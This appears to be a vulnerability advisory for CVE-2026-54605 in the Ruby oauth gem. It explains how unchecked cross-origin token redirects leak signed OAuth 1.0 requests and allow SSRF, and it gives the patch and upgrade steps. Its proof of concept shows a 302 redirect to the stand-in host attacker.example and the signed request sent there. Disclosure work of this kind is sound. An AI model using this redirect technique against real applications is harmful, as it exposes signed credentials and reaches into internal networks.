CVE-2026-54605: oauth gem Cross-Origin Token Redirect SSRF and Signed-Request Disclosure
The Ruby oauth gem blindly follows cross-origin redirects during OAuth 1.0 token exchanges, letting a malicious provider send the app's signed credentials (consumer key, signature, nonce, timestamp)…

The problem
OAuth::Consumer#token_request follows every 300-399 redirect the token endpoint returns, re-signing each redirected request for whatever host the Location header points to. There is no redirect count limit and no origin check.
If an attacker can influence a redirect from a token endpoint (via a compromised provider, a multi-tenant gateway, or a misconfigured reverse proxy), the gem will POST a fully signed OAuth 1.0 token request to the attacker's server. The same path doubles as an SSRF vector because the redirect is followed from the application server's own network position, before the application code ever sees the response.
Proof of concept
A working proof-of-concept for CVE-2026-54605 in oauth, with the exact payload below.
# Attacker controls or influences the OAuth provider's token endpoint.
# Provider returns:
HTTP/1.1 302 Found
Location: https://attacker.example/oauth/request_token
# The vulnerable consumer re-signs and sends to attacker.example:
POST /oauth/request_token HTTP/1.1
Host: attacker.example
Authorization: OAuth oauth_consumer_key="CONSUMER_KEY",
oauth_nonce="abc123",
oauth_signature_method="HMAC-SHA1",
oauth_timestamp="1749300000",
oauth_version="1.0",
oauth_signature="<signed-for-attacker-origin>"
# Trigger in application code (no special options needed):
consumer = OAuth::Consumer.new(
consumer_key,
consumer_secret,
site: "https://provider.example"
)
consumer.get_request_token # follows the 302 silently; attacker receives the signed requestThe root cause (CWE-441 / CWE-918 / CWE-346) is that token_request trusted the raw Location header unconditionally and recursed with no origin validation and no redirect cap. The cross-host branch even mutated options[:site] and rebuilt the HTTP client so the next recursive call would sign for the new host.
The patch (commit d069dc8c) adds token_request_cross_origin? and token_request_cross_origin_redirects? helpers. Cross-origin redirects now raise an error by default. A redirect counter enforced via token_request_max_redirects (default 10) prevents infinite redirect loops.
The fix preserves same-origin redirect compatibility while making cross-origin behavior an explicit opt-in via token_request_cross_origin_redirects: true.
The fix
Upgrade to oauth gem version 1.1.6 or later. The patch rejects cross-origin token endpoint redirects by default. If your provider legitimately redirects across origins (uncommon), you must opt in explicitly: OAuth::Consumer.new(key, secret, site: '...', token_request_cross_origin_redirects: true).
Also use token_request_max_redirects to cap redirect depth. As a network-level workaround on older versions, block the application server's outbound traffic to internal addresses and untrusted external hosts.
Reported by Peter H. Boling (pboling).
Related research
- high · 8.6CVE-2026-54603CVE-2026-54603: oauth2 Protocol-Relative Redirect Bearer Token Leak
- high · 7.5CVE-2026-45378CVE-2026-45378: decidim-verifications Unauthenticated Access to Signed Identity Document URLs
- highCVE-2026-53727CVE-2026-53727: css_parser SSRF and Local File Disclosure via @import
- highCVE-2026-61666CVE-2026-61666: websocket-driver Denial of Service via Malformed Host Header